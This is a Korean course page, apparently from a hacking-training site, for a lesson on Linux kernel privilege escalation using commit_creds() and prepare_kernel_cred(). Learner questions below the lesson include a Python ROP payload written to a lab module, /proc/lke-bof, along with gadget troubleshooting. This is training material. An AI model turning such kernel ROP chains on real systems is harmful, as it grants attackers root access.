강의 설명

지난 코스에서는 태스크의 cred구조체를 조작하여 권한을 변경할 수 있음을 배웠습니다. 해당 접근법은 커널 메모리에 대한 임의 쓰기와 읽기가 가능할 때, 실제로 사용을 고려해볼 수 있는 방법입니다. 이와 관련해서는 앞으로 더 다양한 공격 기법을 소개할 것입니다.

이번 코스에서는 커널에서 태스크의 권한을 변경할 때 사용하는 commit_creds()와 prepare_kernel_cred() 함수에 대해 배우고, 간단한 실습을 통해 이 함수들로 어떻게 권한을 상승시킬 수 있을지 배워보겠습니다.

개요✔
1.prepare_kernel_cred
2.commit_creds
3.권한 상승 실습

강의 목표
commit_creds와 prepare_kernel_cred를 이용한 권한 상승 기법의 이해
이 강의와 관련된 질문들입니다.
3개의 질문
강의 목록
Exploit Tech:prepare & commit 강의 초반 부에 보면 지난 코스에서 태스크 구조체에 대해서 알아봤다는데..해당 강의가 어딨는지 찾아봐도 못찾아서 어디에 강의가 있는지 질문합니다...
#시스템해킹
#커널
#공격기법
#commit_creds
#prepare_kernel_cred
BUG: unable to handle page fault for address
```python from struct import pack import os pdi = 0xffffffff81b98337 RaxToRdi = 0xffffffff81583aaa prepare_cred = 0xffffffff81081716 commit_cred = 0xffffffff8108157b payload = b'' payload += pack('Q', pdi) #payload += pack('Q', 0xffffffff810a1035) payload += pack('Q', 0) payload += pack('Q', prepare_cred) #payload += pack('2Q', 0xffffffff81043661, 0) payload += pack('Q', RaxToRdi) payload += pack('Q', commit_cred) open('/proc/lke-bof', 'wb').write(payload) print(os.getuid()) ``` 위의 코드로 익스플로잇을 시도했는데, BUG: unable to handle page fault for address 이라는 에러 메세지와 함께 익스플로잇이 진행이 안됬습니다. pop rdi ret 가젯의 주소가 뭔가 이상한 것같은데 vmlinux에서 rp++ 툴로 추출한 가젯인데 혹시 어떤 문제인지 아시는 분 계신가요.?
#시스템_해킹
#커널
#공격기법
#commit_creds
#prepare_kernel_cred
전에했던 lke-eop와 같이 리다이렉션 '>'을 이용하면 안되나요? 그리고 rbp를 건드리는 가젯은 사용하면 안되는 건가요?
payload를 python으로 lke-bof를 open하여 write해주었을 때에는 정상적으로 공격이 성공하는데, 같은 payload를 별도의 파일에 저장하여 "cat ex > /proc/lke-bof" 와 같은 방법으로는 실패하여 조금 애먹었습니다 혹시 리다이렉션으로는 공격이 불가능 한건가요? rop가젯중에 `0xffffffff812cbbde: mov rdi, rax ; mov rax, rdi ; pop rbp ; ret ; (1 found)` 와 같은 가젯으로는 커널패닉이 발생 하였는데, 가젯을 사용할때 rbp가 변경되지 않게 해주어야 하나요?
#시스템_해킹
#커널
#공격기법
#commit_creds
#prepare_kernel_cred
강의 평점
0.0★ (0)
0
Exploit Tech: prepare & commit
0.0★ (0)
Free
상세정보
약 1 hour 소요
보통 난이도
없음